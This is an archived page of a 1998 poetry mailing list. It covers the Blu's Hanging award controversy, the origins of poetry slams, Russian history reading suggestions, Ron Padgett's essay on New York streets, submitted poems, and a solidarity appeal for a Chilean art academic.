PLEASE ADDRESS ALL INQUIRIES TO THE P.O. BOX LISTED ABOVE. ALL CHAPBOOKS ARE $3, POSTAGE PAID. SUBSCRIPTIONS TO OUTLET ARE $10/YEAR & INCLUDE YOUR CHOICE OF CHAPBOOK. **OUTLET 1 IS SOLD OUT**, SINGLE COPIES OF OUTLET 2 ARE $4. PLEASE MAKE CHECKS PAYABLE TO ELIZABETH TREADWELL. THANKS FOR YOUR INTEREST & SUPPORT!

more info is at http://users.lanminds.com/~dblelucy

thanks!

I promise to be at least a touch less self-absorbed in my next post :)

--Elizabeth Treadwell

↑ Index

1014. **maz881**
Re: protest of award for Yamanaka
Mon 29 Jun 1998

A comment about the Association for Asian American Studies conference and Yamanaka. After the debate that Juliana described, the association went to a Luau. i went and read poetry with Epi Enari, a local samoan woman. A friend of epi's showed up at the reading and he was from Somoa but now lived in La and had just given a paper at the AAA conference. When asked why he wasn't at the Luau, he said "Are you kidding? They would expect me serve them." That comment made me think that on a large structural/allegorical level, the whole Yamanaka debate seemed to be about whether or not the association was going to "allow" filipinos to be asian. The next night i was out with a local Korean-american friend and i tested my theory by asking him the question: Are Filipinos Asian? He said jokingly, "well kinda. I guess we'll let them in."

Bill Luoma

<<<Date: Sat, 27 Jun 1998 09:25:03 -1000
From: Juliana Spahr <[redacted]>
Subject: protest of award for Yamanaka

I went to a meeting by the Association for Asian American Studies yesterday. The Association has awarded Lois-Ann Yamanaka's _Blu's Hanging_ an award. Many members of the Association have protested the award, arguing that the book presents racist representations of Filipino/as. In Hawai'i there is a stereotype that Filipinos are sexually deviant (partial to incest, rape, child molestation). In _Blu's Hanging_, a family of Japanese-Americans live next to a family of Filipino-Americas. Members of the Filipino family commit various acts of incest, rape, and child molestation.

The Association had a panel on this topic which I missed. And they also held a roundtable forum on the issue which I attended. Apparently the Association had for years been considering Yamanaka's books for the award starting with _Saturday Night at the Pahala Theatre_ and continuing with _Wild Meat and Bully Burgers_ but had never given her the award. Each year there had been protest of some sort from the membership. It was noted several times that of all these books, _Blu's Hanging_ is the most problematic in terms of race. So to award the award to this book has been seen as particularly insensitive.

At the roundtable many people spoke. The argument seemed to be split around two sides. One side argued mainly that this was a freedom of speech issue

(which it really isn't; no one is suggesting the book by banned, just that it not be rewarded). This side was represented by a number of local writers who are not academics and by a number of established Asian-American writers, also mainly not academics, from the mainland. Statements were read by people like Amy Tan, Maxine Hong Kingston, David Mura, etc. Wing Tek Lu, from Bamboo Ridge who publishes _Saturday Night at the Pahala Theatre_, had a thick petition and collection of statements in support of Yamanaka. Unfortunately there were only copies for the roundtable participants so I didn't get to see one. The other side was represented by a number of mainly local academics. Many spoke movingly of the difficulties of growing up Filipino/a in Hawai'i.

The roundtable felt caught between these two positions, neither addressing the other. But for more information I would suggest looking at the work of Candace Fujikane. She has a good article in the most recent volume of _Social Processes in Hawai'i_ (1998, UH Press) on this issue. She also posted a moving and complicated statement to the Association's discussion list. Walter Lew forwarded it to me. I'm sure he would do the same for you if you asked (or I could also).

At the conference, I was talking to Dorothy Wong and she told me how many people at the conference had said that the protest was a Hawai'i issue. I have to agree (which doesn't make it less important). When I read _Saturday Night_ on the mainland it seemed clear that the poems are told by an unreliable teenage narrator and the first poem, "Kala Gave Me Any Kine Advice Especially about Filipinos when I Moved to Pahala," can be read as a critique of racist stereotypes. But when I've taught the book here, the first thing students often say is, here is a voice that is my voice, which I've never heard taken seriously before. (It is an amazing experience to teach this book here. Students really feel like it changes their life and validates whole parts of their culture that have been degraded.) And then the problem starts b/c this voice is the voice of a teenage racist.

Also, it is crucial to realize that being Japanese-American in Hawai'i (which Yamanaka is) is similar to being haole in terms of economic and social power. (Race discussions repeatedly define class discussions.) Whereas Filipino/as possess significantly less economic and social power. It is often said that because Yamanaka writes coming of age stories of planatation life that she is unwillingly to abandon the rhetoric of marginalization and take responsibility for Japanese-American complicity in the colonial (neocolonial?) power structure. Her characters will grow up to set much of Hawai'i's policy. What then?

To add to the problem, Yamanaka is reported as saying things like her book is "true" and that she has known Filipinos like that and how she is just reporting what she has seen.

I wished for more analysis of the book at the roundtable. One of the ways that I have a lot of respect for Yamanaka's work is that she has addressed the language issue in a way that a lot of writers here have avoided it. Many local writers go through the creative writing program at Univ of Hawai'i, Manoa which likes nature poetry and MFA short story forms (some important exceptions: Morgan Blair, Susan Schultz, Rob Wilson). Yamanaka's writing in pidgin puts forth a critique of these forms that rivals the critique of American presence in the land that is a part of the literature of Hawai'i.

I wished also for more discussion of what we do with a teenage racist narrator. Fujikane repeatedly points out how important it is to avoid saying that those who do not read this book as told by an unreliable narrator are unsophisticated. I agree with her. But when do we stop or start to read that narrator as unreliable (again, Fujikane has a good point that in _Blu's Hanging_, the narrator sees the sexual abuse, she doesn't just report it)? Is the unreliable narrator a flawed concept? One built on elitist reading practices?

A vote is being held by the Association on this issue today. I'm not sure what the outcome will be. The room felt very divided.

It was great to see many people who were not academics speaking up on this issue. It is evidence that what one writes does matter, can carry huge consequences to a community.

Disclaimer: please realize that since I am a mainland haole who has lived here for less than a year that this report is not authorized. Please supplement with other points of view (the Association discussion might be a good place to start).

Juliana Spahr>>>

↑ Index

1015. Simon/Piombino
Jerome Sala and Poetry Slams
Mon 29 Jun 1998

Some of you on this list may know Jerome Sala, a poet from Chicago who has been living in New York for awhile now. An article about poetry slams appeared in The New York Times on June 16, some of which is quoted below:

> *From NY TIMES 6/16/98, pp. E1 & E9:*

"The organizers of the Taos championship bout are at great pains to distinguish their event from slam poetry, a phenomenon that took root in Chicago in the mid-1980s and now has its own annual national championship event...Nonetheless, slams and bouts are obviously cut from similar cloth.

Both involve competitive readings with judges providing numerical scores and crowds going beserk. Rules vary from slam to slam. But the primary difference is that a slam usually involves several entrants or individuals, who may or may not be accomplished poets, while a bout is two poets, usually of some reputation, going head to head.

A further confusion is that the championship bout was also born in Chicago, at a bar on Lincoln Avenue called to Oxford Pub in 1981. There, a blues singer named Jim Desmond became angered when a poet named Jerome Sala read a poem that parodied John Lennon, who had just died. They got into a fight, eventually agreeing to settle the dispute with a competitive reading. They asked the bartender, Al Simmons, to arrange it, which he did, with the cooperation of a friend, Terry Jacobus. Mr. Sala won the first bout, as well as a rematch."

Jerome Sala is the author of Raw Deal: New and Selected Poems 1980-1994 (Another Chicago Press). The following blurb by me, excerpted from an introduction to a reading I invited Jerome to give at the Ear Inn in 1992,appears on the back cover: "Jerome Sala's poems...embody subliminal philosphical messages which, instead of stroking our foolishly cherished stereotypes disassemble them secretly, and, before you know it, blow away their remains..."

↑ Index

1016. **morpheal**

Re: russian history tomes [tertiary sources based on Stalinist newspapers ?]

Mon 29 Jun 1998

> *Can anyone suggest a goodbook that's an overview (" ") of Russian History--?*

Sadly you would find good sources that cover events only up to the time of the Bolshevik Revolution, and mostly either written before the Revolution in Russian and shipped abroad, or written by foreigners from a foreign viewpoint. Soviet versions of pre-Bolshevik history would be useless, except for a study of totalist propaganda.

After the revolution you find only propaganda and disinformation on both sides, Soviet and foreign. Even the departments of Soviet studies got few things right about Soviet realities. That was subsequently proven, to the astonishment of those who were playing follow the academic leader within that discipline.

Sadly the KGB and the NKVD destroyed MOST of the historical resources and documents as to anything between the time of the revolution and the disintegration of the Soviet empire. There is what remains of the KGB archives, but it would be extremely tedious to go through any of that, and there are far too few

good historians who know Russian and understand the Soviet machine well enough, to be able to piece anything together that has any reasonable credibility. The Soviet Union was a state that essentially, effectively, wiped out its own history.

So you begin from there.

> *One area I will be teaching come Sept to my Middle Schhol class is Russia--along with work by Gogol, Tolstoy, Doestoevsky, Ahkmatova, etc. But I need more insight into the vastness of Russian history--and--I'm afraid--haven't the time to do real elongated readings..*

Pre-Soviet Russian history should be accessible in a vast number of credible English, French and German sources.

M.

↑ Index

1017. **Roger Farr**
Re: Slams
Mon 29 Jun 1998

Slams have always struck me as thinly veiled Public Relations events held to "showcase" various "personalities" who are looking for a spot in a beer commercial.

Admittedly, though, this impression may have to do more with the particularly unimaginative neo-beat "spoken-word" poets here in Vancouver than with the slam itself.

RF

↑ Index

1018. **toddbaron**
a note from ReMap
Mon 29 Jun 1998

A wonderful summer's reading for ReMap #6
this sunday under the tree in Diane Ward's backyard.
Marty Nakell read work by Susan Roberts
Noah De Lissovoy read work by Laura Moriarity
I read the "sightings" pages from issues 1-6
Diane Ward read an Imaginary Lyric by A. Shurin.
It occured and
we were there. Hopefully Issue #7 (ON LOVE)
won't be long in coming.
The idea Carolyn Kemp and I continue to

persue and persue is one of
dialogue. The idea to have, at this reading, poets read Others work,
(other than their own) engaged in an instant fashion
the notion.

ReMap #6 POLITICS
ReMap #7 ON LOVE

↑ Index

1019. **toddbaron**
sorry agin
Mon 29 Jun 1998

---

ps: sorry for the noise:

That was for Kevin Killian--

Todd Baron

↑ Index

1020. **toddbaron**
sorry for the public display--
Mon 29 Jun 1998

---

damn I'm dumb--

Kevin Killian:

I cannot e-mail and want to--
yr address has "faults"
help--

Todd Baron

↑ Index

1021. **Simon DeDeo**
Re: russian history tomes
Mon 29 Jun 1998

I'm afraid that Morpheal is right on this one; much of the material on Soviet Russia is fraught with inaccuracy. Often, you need some of the same critical skills that you employ when you read the fiction.

I'm not sure if I'm right when I take Middle School to mean ages 9 to 12; it seems quite a lot to dump on them all at once. But I suppose you know what you're doing. Are you going any further back than the writers you list? Damn, I'm a fan of Turgenev; and, while I did not receive as full an education in the

use of stanza as I might have liked from Pushkin, E.O. is wonderful. Especially the racy bits about women's ankles.

Middle school! Sorry. The following is rated G.

There's an excellent book called _The Making of Modern Russia_, published 1990 or so; I forget the author, but there's only one that fits the description in amazon.com; try the library. It covers pretty much everything (Ice age to Yeltsin), with interesting detours and (importantly, maybe for Middle Schoolers?) also manages to teach a lot about how "History" is done, or told. Sidenotes such as "it is often noted that a civilization cannot sustain itself as such until a grain of wheat multiplies itself seven times"; a "real" historian would take that with a grain of salt, but for a student, it's a neat way to look at history. (Go, Marx.) Written by a public-school Britisher, so be a little careful.

I'm not sure what Dostoyevsky you're looking at, but his realism often makes itself amenable to historical analysis. St. Petersberg in C&P, for example. Tolstoy also, but not a very good one (you spend most of your time thinking Moscow is one damn ballroom, with a farm in the back.) And, if you really want to make them weep, Andre Bely's _Petersberg_ (about the events of 1905; written like a slightly more under control _Ulysses_) will blow you away.

Anybody up for a thread on the Russian Modernists, speaking of? The Perloff finally arrived here, and I've been eagerly digging through, letting the work collect dust and bugs. An (apparently) fascinating article on the connections between Yeats' automatic writing and theoastrometrology (?) and Khlebnikov's numerology, two subjects that I've studied separately, but never thought to examine together.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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1022. J Kimball
Ron Padgett's article
Tue 30 Jun 1998

Daniel Bouchard requested an electronic post of Ron Padgett's article in the NYTimes. Here it is.

The Streets as Muse to a Peripatetic Poet

(June 26, NYTimes)

By RON PADGETT

When the bus came over that final hill in New Jersey, I got my first real-life glimpse of Manhattan stretched out broadside like a futuristic battleship 11 miles long, and the surge of excitement I felt at that moment 38 years ago has never quite left me.

Of course, everything looks good from a distance. And when I reached my destination, the Village, I was met with a Whelan's drugstore and a Howard Johnson's, at Sixth Avenue and Eighth Street: not all that different from a busy intersection in Tulsa, where I had just come from. Where were the thatched cottages that my fanciful 18-year-old mind had imagined?

My roller-coaster reactions were immediately propelled by the pace of the streets of Manhattan, not to mention the thrill of jaywalking. Soon, as Jack Kerouac put it, "I did everything with that great mad joy you get when you return to New York City." The sheer energy of the streets was irresistible, a force that made me want to go to the Museum of Modern Art, the Bleecker Street Cinema, the Eighth Street Bookstore, Wall Street at midnight and a thousand other places, all at the same time, and then go back to my room and write a poem.

Over the years, I've lost a step, but I still have to contain my excitement when I go out into the street, because I know that out there I will encounter an endless stream of little dramas. Every person who walks toward me, becoming not only larger and larger but giving an evolving impression, will bring his or her own personal drama that climaxes as we pass by each other. Will that pretty woman's eyes meet mine in some mysterious communication? It's fun to fall in love for only 10 seconds. And what better place to do so than in the streets of New York? But there's the other drama, too: Is that guy staggering toward me because he's drunk, and what's that in his hand? A baseball bat? And he's wearing a Nixon mask. I go back to my apartment and write a poem about lunacy (mine).

But even if -- and especially when -- the streets are deserted, there are the buildings. If I lift my gaze, I will see a curious architectural detail that I never noticed, even though I have walked past it thousands of times. For years, the Chrysler Building sparkled and radiated behind my poems, but for the last 10 years, I have been entranced by the top of the Con Ed building, illuminated in subtle colors at night by some genius of lighting so that it resembles a flying chunk of ancient Babylonia.

For a few years, the demolition of Klein's department store afforded a magnificent view from Union Square of the entire height of the Con Ed tower, especially in the early evening. But now the sightlines are blocked by a new and self-important structure that makes me grit my teeth. It's like a piece of cardboard nailed over a Vermeer. I got so hot under the collar over this that I wrote a prose poem about the joys of anger.

The gutsy verve of New York's streets is echoed by other poets who have lived in the city. I get a thrill when I read Walt Whitman's "I too walk'd the streets of Manhattan" and his account of walking along 14th Street. It's a special pleasure to read his big poem "Crossing Brooklyn Ferry" while taking the, well, Staten Island Ferry. I feel that I belong in New York when I read Edwin Denby's powerful sonnets about West 21st Street, Sixth Avenue and the old IND subway line, as well as his hallucinatory "Elegy -- The Streets."

I get a tingly feeling every time I look up at Furnald Hall, a dormitory on the Columbia campus, because I know that the great Spanish poet Federico García Lorca, the author of "Poet in New York," once lived behind one of its windows. I never pass by Rockefeller Center without thinking of a poem about Christmas in New York, James Schuyler's heartbreakingly beautiful "December," with its funny opening, "The giant Norway spruce from Podunk . . ."

But for my money, the poet who gets the most out of New York is Frank O'Hara, whose "A Step Away From Them" includes the dirty glistening torsos of construction

laborers, Coca-Cola, pet shop windows, an electric waterfall, giant smoke rings, a blond chorus girl, a toothpick, a quotation from Denby, a cheeseburger, three of Frank's departed friends, a glass of papaya juice, a book by the French poet Pierre Reverdy and more. In his relatively short poem, O'Hara gives us all of Times Square in the late 1950's. It still makes me like Times Square, just as Ted Berrigan's poem about "reeling up First Avenue to Klein's" makes me happy to reel up First Avenue, too, especially the block between 11th and 12th Streets, whose deep red tenement facades sometimes take on a supernatural glow at sundown.

And First Avenue will always remind me of bumping into Allen Ginsberg, whose poetry was one of the reasons I came to New York in the first place, at Shin's fruit stand late one night. He held up a tomato and said, "Ron, at 79 cents a pound, this is a very good deal."

Where else in the world can all this happen? Is this not a poet's paradise?

↑ Index

1023. **toddbaron**

russian history tomes

Tue 30 Jun 1998

Can anyone suggest a goodbook that's an overview (" ") of Russian History--?

One area I will be teaching come Sept to my Middle Schhol class is Russia--along with work by Gogol, Tolstoy, Doestoevsky, Ahkmatova, etc. But I need more insight into the vastness of Russian history--and--I'm afraid--haven't the time to do real elongated readings..

thanks much,

Todd Baron

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1024. **morpheal**

Re: Reduce this! [ok, that puzzle is easier to do]

Tue 30 Jun 1998

> *1.Reduction*

Intelligence.

> *A DOCTRINE*

Any doctrine is always false.

M.

That was the easiest puzzle of all of them.

↑ Index

1025. Marthe N. Reed
Re: Call for submissions
Tue 30 Jun 1998

Dear Scott Keeney,

In response to your call to Poetics for poetry for The End Review, I send along seven poems. Excepted from a cycle of poems that arise from history's caesura's: the way history both records and fails to record - attending to what is lost in the process. The titles of the poems are: Dreamwork, Centennial Cemetary Pretty Woman (II), Treaty, No Name Woman, (No Name Woman (II), and Lunar Variations.

I can be reached by email at [redacted]. I look forward to hearing from you. Please let me know if you have any problems reading this file.

Warmest regards,
Marthe Reed

321 Badgerup Rd
Wanneroo, WA 6065
Australia
phone: [redacted]
email: [redacted]

Dreamwork

a woman dreaming
a woman dreaming of war
a woman dreaming of soldiers, of horsemen their hats falling over their faces
a woman dreaming of booger maskers with long penises
a woman dreaming maskers coming to her door, taking her away
a woman dreams herself a mask, holds it up to her face, masking
a woman dreams a mirror in which her face dissolves
a woman dreams a mirror, a man's hand at her back
a woman dreaming of her husband
a woman dreaming her husband making love to her
a woman dreams of love and corn soup

a woman dreams she is a window
a woman dreams she is pregnant
dreaming she stands at a door, garden spread before her
a woman dreaming of the earth, turning the ground
a woman dreams of the red earth, red clay, dreams the dead buried in the ground
a woman dreaming of the south (red)
a woman dreaming of the south (white)
a woman dreaming of her children, daughters and sons asleep in their cradle boards
a woman dreaming their names
a woman dreams of the smokey mountains
a woman dreams she is standing at an open door, staring at the disappeared mountains
a woman dreams she is travelling north
a woman dreaming her name

a name dreaming: a window, a mask, a woman dreaming

Centennial Cemetery

Deathface, (Death's) head, beside mine: grave. An expanse of land cleared and planted in grass. A field, or cemetery. Burial ground: old, old man. Autumn colors the trees, red oak and sassafras. Oak. Above (above his name), Death's head. Browning and withering of grass at winter's approach. Glares. "Basil Prather", a form of grace. Solitary slab of limestone, arched and falling straight along the sides. To the earth (autumn leaves) grace. "Died" June 21, 1874. Basil Prather, mine. Great-great-great grandfather (mine), buried. Burying ground. Autumn field, a grave. A form of grace. Mine (or his). Basil Prather, "Aged 88 Y., 9 M., 5 D." Old (old man), mine. A son, hers. No Name Woman. A field. Bordered by road and woods, a field. An expanse of grass surrounding a church. A son (Thomas' and) hers.

Pretty Woman* (II)

Pretty Woman, No Name Woman: where Selu's sons dragged her body. War Woman, Pretty Woman. Went, among the others, warring. Dressed as a man (Man). Where Selu wore a rifle on her back, she. A field, an expanse of land cleared and planted in corn. She wore, like Kanati, like Oconostota, leggings. (Dressed as a man). Among them, a rifle on her back. Warring she went. Selu's daughter (son). Out of the garden. (Field) and into battle. A field (of action). She wore a rifle. Like Dragging Canoe, Fierce (woman). And fought. (She). Pretty Woman, a field, an expanse of land planted in. Corn and death. Pretty Woman's crops. Dressed as a man, a field. Killing field. A space cleared for action. Went. Among the others. Fierce Woman, avenging her husband, a

field. And out of the garden. She wore. A field, dressed as a man. Sharp (Woman). Where Selu's sons dragged her body, where her blood watered the ground.

*Pretty Woman is a translation of the Cherokee word Ghigau. Holding an esteemed and privileged position in the community, to this woman was given the right to decide the fate of prisoners taken in battle. This title was also given to women who dressed as men and followed their husbands into battle. Other translations of the Cherokee word are Beloved Woman, Blood Woman, War Woman, and Fierce Woman.

Treaty

Corn razed to the ground. As was usual, a haze. Smoke, or fog covering everything. At gunpoint. As was usual (land). A field cleared and planted. An agreement. Or field. For Kentucky, for Virginia and West Virginia. (Land) the whole tract of land between Kentucky and Cumberland rivers. Between the rivers. Where deer and bison ranged. At gunpoint, where the herds. As was usual (smoke, or. Haze). An agreement at gunpoint. For the Holston. For the Ohio. For the Kanawha and New rivers. A treaty. Where the borderers crossed. An agreement, or field. (The) deployment of force. Where borderers. No further demands would be made. As was usual, no further demands. For the Watauga and Kanawha, where they crossed. For the land between the rivers. Where game was plentiful. As was usual, for the Holston and Ohio. For Kentucky. No further. A treaty, or field of action. (A field). Afterward, women and men shot down were "helped to their end". A field.

No Name Woman

No name, No Name Woman. A field bordered by woods. Nameless. Red oak and white, a word. Yellow sassafras. Un named. Lapse of. (Memory). Martha and Suzannah, her daughters. Nameless. Unreckoned, a field bordered by woods. (Yellow poplar house). Baby laced in a cradleboard, a woman singing a lullaby. Martha and Suzannah. Her daughters' names, my names, detach themselves, take flight along a line perpendicular to the horizon. No Name Woman and her daughters. That which is missing. (His wife). Red oak and white, yellow sassafras. Branching, genealogical. Martha or Suzannah. A field, or name. (Mine). No Name Woman, her six sons and daughters. Lapse of generation, or memory. One old (old) woman, dead twenty years. One old woman recalled her. ("Grandmother"). Grandmother of the Light, No Name Woman. A word takes flight along a line perpendicular to the horizon. A word, or name. Mine.

No Name Woman (II)

Nameless, no name. No Name Woman. "A Cherokee" his wife. (His) wife, that is all. A Cherokee (Tsa lagi). Like Selu and Sutalidihi. Or Agawe'la, the Old Woman (corn). No Name Woman, North Carolina woman, Tennessee woman. Mountain woman. No name, nameless. No Name Woman. The others who came before her, grandmothers and mothers. Her names, also. Sun Woman. Old Woman. Sixkiller, Sutalidihi, Fire. Grandmother Fire. Sacred Fire, Spider Grandmother. Old Woman. Selu (Corn), Corn Woman. Sixkiller, Woman of the Seventh Height. Grandmother Light. Sun Rays Woman, Deer Woman. Red Deer. White-tailed red deer. (Selu). Redbird: cardinal, scarlet tanager. Red-bird Woman, Red Woman. Grandmother Fire. Sutalidihi, Sun Woman, Old Woman. Agawe'la, Corn. The others who came before, No Name Woman. War Woman, Sun Rising in the East. Gathering Names Woman, Many Names Woman. Pretty Woman, her also.

lunar variations

"a moon drops flowers in your hand"

flower drop hands
moon hands yr

*

moon laden hands
laden hands laboring

*

in yr flower hands
flower moon

*

flower women
laboring

*

on the hillsides
flower drop moon

*

old moon
rhododendron

*

white viscous moon
old flower moon

*

cloud-laden moon
old woman, old women

*

flower moon hands
laden hands

*

(a dream)
my hands

*

rhodendron water
rose tree water

*

moon dream
flowers dropped in yr hands

*

in my hands
flower moon

*

2 moons
flower laden dream

*

a ( ) child
dream laden flowers

*

moon laden
burdened with flowers

*

child
flower moon hands

*

laden
dropped in yr hands

*

white and pink
moon hands yr

*

flowers
rhododendron flowers

*

white and pink flowers
moon

*

caught
moon flower water

*

celebrant (laden)
laden with flowers

*

laboring
moon flower hands

*

old woman's hands
caught

*

flower moon
caught in (mine)

The End Review, a new (paper) zine, is now considering poetry,
> microreviews, & line-drawings for first issue.
>
> Submit work before 6/30/98
> by e-mail to:
> [redacted]
> (sorry, no attachments),
> or by snail-mail to:
> The End Review
> c/o Scott Keeney
> 10 Summit Ave. #3
> Somerville, MA 02143-1837
>

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1026. **Marthe N. Reed**
Re: call for submision (Please Ignore!)
Tue 30 Jun 1998

Oops Please ignore my previous error.

marthe

↑ Index

1027. **Steven Clay**
Bernadette Mayer/Ted Berrigan
Tue 30 Jun 1998

United Artists Books and Granary Books invite you all to a publication party for two new books:

Another Smashed Pinecone by Bernadette Mayer

&

Ted Berrigan: An Annotated Checklist by Aaron Fischer

The checklist is illustrated in color and black and white with 27 never-seen-before collaborations between Mr. Berrigan and George Schneeman and includes the essay "Publishing Ted" by Lewis Warsh.

The publication event will be held Wednesday July 1 from 6-8 pm at Granary Books, 568 Broadway room 403 (at Prince Street in Soho, directly across Broadway from the downtown Guggenheim) New York City.

For more information contact me: [redacted]

Steve Clay

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1028. **r. drake**
[Fwd: Solidarity]
Tue 30 Jun 1998

> *Date: Fri, 26 Jun 1998 18:12:35 -0300*
> *From: Clemente Padín <[redacted]>*
> *Subject: Solidarity*
>
> *SOLIDARIDAD*
>
> *Finalmente, Humberto Nilo Saavedra, Director y Académico de la*

Escuela de Artes de la Facultad de Artes de la Universidad de Chile fue virtualmente echado de su cargo por los sectores universitarios reaccionarios pinochetistas. La gota que colmó el vaso fue la exposición de arte correo "STOP: libertad, diversidad y pluralismo" en el Museo de Arte Contemporánea de Santiago que Humberto Nilo había organizado para defenderse de las persecuciones que estaba soportando desde hace largos años por esos sectores. Es sintomático que Humberto Nilo ya haya sido expulsado de su cátedra en la Universidad bajo la dictadura de Pinochet. Hoy que Pinochet ocupa un cargo de senador vitalicio sus partidarios levantan cabeza y están cobrando venganza sobre todos aquellos que, como Humberto Nilo han jugado un papel progresista en el campo de la cultura y se han opuesto, siempre, a toda forma de autoritarismo y vasallaje en la enseñanza de las artes.

Humberto Nilo fue, también, quien acogió, en 1996, en la Escuela de Artes, la exposición de homenaje al recientemente fallecido Guillermo Deisler, otro perseguido por la dictadura de Pinochet, también académico de artes en la Universidad de Chile, en Antofagasta, quien debió huir a toda prisa de Chile con toda su familia a un destino incierto bajo la amenaza de muerte. Esos mismos sectores dictatoriales están hoy expulsando a todos los profesores y catedráticos que han dicho NO a la brutalidad y a la violación constante de los derechos humanos.

Ante el temor de que los desplantes y la brutalidad del régimen puedan poner en peligro la vida de Humberto Nilo y de sus familiares iniciamos esta campaña mundial solicitando a todos los artistas-correo y networkers del mundo entero a que envíen, a su dirección postal, expresiones de apoyo solidario para que, de alguna manera, sus ofensores no puedan llevar a cabo sus amenazas impunemente:

Humberto Nilo Saavedra
Calama 8435
La Cisterna,
SANTIAGO
CHILE

WEB:: http://members.tripod.com/~TERRITORIO/STOPINFO.html
http://members.tripod.com/~TERRITORIO/DENUNCIA_INTERNACIONAL

SOLIDARITY

Finally, Humberto Nilo Saavedra , Director and Academic of the Arts School of the University from Chile was virtually tossed of their

position for the reactionary pinochetists sectors of the University. The drop that filled the glass was the exhibition of mailart "STOP: freedom, diversity and pluralism" in the Art Contemporary Museum of Santiago that Humberto Nilo had organized in order to defend of the persecutions that he was supporting for long years. It is symptomatic that Humberto Nilo has already been expelled of their class in the University under the dictatorship of Pinochet. Today, that Pinochet occupies a position of senator during life, his acolytes lift head and are collecting vengeance on all those that, like Humberto Nilo, had played a progressive paper in the field of the culture and has been opposed, always, to all form of autoritarism and vassalage in the teaching of the arts.

Humberto Nilo was, also, who showed, in 1996, in the Arts School, the exhibition of homage to the recently died Guillermo Deisler, another pursued by the dictatorship of Pinochet, also academic arts in the University from Chile, in Antofagasta, who should flee as quickly as possible from Chile with all their family to an uncertain destination under the threat of death. Those same dictatorial sectors are today expelling all the professors and professors that they have said NO to the brutality and to the constant violation of the human rights.

In the face of the fear that the menaces and the brutality of the regime could put the life of Humberto Nilo and his relatives in danger , we want began this world campaign requesting to all the mailartists and networkers of the whole world that to send expressions of support to their postal address so that, somehow, his offenders could not carry out their threats:

Humberto Nilo Saavedra
Calama 8435
La Cisterna,
SANTIAGO
CHILE

[redacted]

WEB:: http://members.tripod.com/~TERRITORIO/STOPINFO.html
http://members.tripod.com/~TERRITORIO/DENUNCIA_INTERNACIONAL

Clemente Padín
C.Correo Central 1211
11000 Montevideo - URUGUAY
Fax (598 2) 915 94l7
E-mail <[redacted]>

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1029. **Brent Long**
Re: Jerome Sala and Poetry Slams
Tue 30 Jun 1998

Actually, "Slam" was indeed born in Chicago, but not by Jerome Sala. For what it's worth, Marc Smith is generally credited with fathering what is now called "slam" poetry, and it was started as an attempt to get the audiences involved to some degree in the readings which were at times stodgy and uncomfortable for the poet.

Unfortunately, "Slam" has become a multi-headed beast, and very little of what can be heard at a Slam fits even the loosest definitions of poetry, at least until you get it on a national level.

Poets who border on Slam: Jimmy Bacca, Sou MacMillan, Patricia Smith, Marc Smith, etc.

Also, Bob Holman in NYC can shed a great deal of insight on this "school" of poetics if he is still a list subscriber...

Brent

At 09:09 PM 6/29/98 -0400, you wrote:
>Some of you on this list may know Jerome Sala, a poet from Chicago who has
>been living in New York for awhile now. An article about poetry slams
>appeared in The New York Times on June 16, some of which is quoted below:
>
>>From NY TIMES 6/16/98, pp. E1 & E9:
>
>"The organizers of the Taos championship bout are at great pains to
>distinguish their event from slam poetry, a phenomenon that took root in
>Chicago in the mid-1980s and now has its own annual national championship
>event...Nonetheless, slams and bouts are obviously cut from similar cloth.
>
>Both involve competitive readings with judges providing numerical scores
>and crowds going beserk. Rules vary from slam to slam. But the primary
>difference is that a slam usually involves several entrants or individuals,
>who may or may not be accomplished poets, while a bout is two poets,
>usually of some reputation, going head to head.
>
>A further confusion is that the championship bout was also born in Chicago,
>at a bar on Lincoln Avenue called to Oxford Pub in 1981. There, a blues
>singer named Jim Desmond became angered when a poet named Jerome Sala
read
>a poem that parodied John Lennon, who had just died. They got into a

>fight, eventually agreeing to settle the dispute with a competitive
>reading. They asked the bartender, Al Simmons, to arrange it, which he
>did, with the cooperation of a friend, Terry Jacobus. Mr. Sala won the
>first bout, as well as a rematch."
>
>Jerome Sala is the author of Raw Deal: New and Selected Poems 1980-1994
>(Another Chicago Press). The following blurb by me, excerpted from an
>introduction to a reading I invited Jerome to give at the Ear Inn in
>1992,appears on the back cover:
>"Jerome Sala's poems...embody subliminal philosphical messages which,
>instead of stroking our foolishly cherished stereotypes disassemble them
>secretly, and, before you know it, blow away their remains..."
>
>
[redacted]

↑ Index

1030. louis stroffolino
7/4/70
Tue 30 Jun 1998

Ah, 7/4/70--I remember it well. Little kid with crew cut (against his will of course) being taken for one of those rare special road trips to DC of all places to see fireworks. I remember my parents acting weird and protective and "we gotta get out of this place" as we got to see the "honor america day" entertainment starring bob hope at the refleting pond. Only years later did I read about the naked yippies in the reflecting pool moving toward Bob Hope chanting "bob hope smoke(s) dope", etc.....c

On Sun, 28 Jun 1998, Gwyn McVay wrote:

> *I held the symbols for him on stage at the Rock'n'Roll Express*
> *^^^^^^^*
> *Conncert in Calgary, 7/4/70. That was right before Janis kissed me.<<<*
>
> *I have to know--this could, after all, be important: did you find his symbolism blatant, overt, calculated, subtle, inspired? The "turn on your lovelight" metaphor really belongs to Bobby "Blue" Bland, but I wonder about "easy wind 'cross the bayou today."*
>
> *Gwyn "Close Reading" McVay*

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1031. **daniel bouchard**
Re: Ron Padgett's article
Tue 30 Jun 1998

Thanks J Kimball for posting the Padgett article!

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

1032. **linda russo**
Re: Poetry in the libraries
Tue 30 Jun 1998

I wouldn't be surprised if Fred's case were the case here in the happy homey heartland valley of heartfelt sentiments & a wonderbread factory on the "strip." Maybe they'll ignore me, maybe President Machen('s daughter more likely) has a poem in the Nat'l library! But it probably doesn't hurt my case to mention the website, do you think Mark? hard evidence. I wish I actaully knew acquisitions people, I'd dump a pile of books on their desk. . . As it is I sent them an email from the Library Web page -- maybe this one will prompt them to respond with a progress report on my previous requests.

> *On the other hand, Fred, as an acquisitions person who has worked at an array of different large universities, and several other sorts of libraries, i believe Linda has a fair shot at having an impact....Often the acquiring of this sort a' thing is just the collections development process zipping along on automatic pilot. And very often acquisitions/collection development people are *extremely* happy to have input from their user-population, about what should or shouldn't be acquired....*
>
> *As i have posted before on the List, people can often have more impact than they think on the university or public library that they patronize... And so i strongly encourage everyone to request the purchase of the poetry they think is important; remember,*
>
> *"only you can stamp out the mainstream."*

mark
@lanta

